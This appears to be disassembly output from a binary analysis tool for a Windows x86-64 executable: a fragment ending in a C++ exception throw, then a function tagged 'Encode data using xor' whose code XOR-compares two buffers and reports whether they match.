lea rdx, [0x140073d18]
lea rcx, [rsp + 0x20]
call fcn.14001a1f8
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140050ed8
lea rdx, [0x140085b98]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x140052714
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 8
jb 0x140052787
mov rbp, r8
shr rbp, 3
imul rax, rbp, 0xfffffffffffffff8
add rdi, rax
mov r8d, 8
lea rcx, [rsp + 0x58]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 8
lea rcx, [rsp + 0x50]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x50]
add rsi, 8
xor rax, qword [rsp + 0x58]
add rbx, 8
or r14, rax
sub rbp, 1
jne 0x140052746
mov rcx, r14
shr rcx, 0x20
or ecx, r14d
mov edx, ecx
mov eax, ecx
shr edx, 8
or edx, ecx
shr eax, 0x10
and edx, 0xff00
or edx, eax
movzx eax, cl
shr edx, 8
or edx, eax
test rdi, rdi
je 0x1400527c9
sub rsi, rbx
movzx ecx, byte [rsi + rbx]
movzx eax, byte [rbx]
inc rbx
xor ecx, eax
or edx, ecx
sub rdi, 1
jne 0x1400527b5
mov rbx, qword [rsp + 0x40]
test edx, edx
mov rbp, qword [rsp + 0x48]
sete al
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret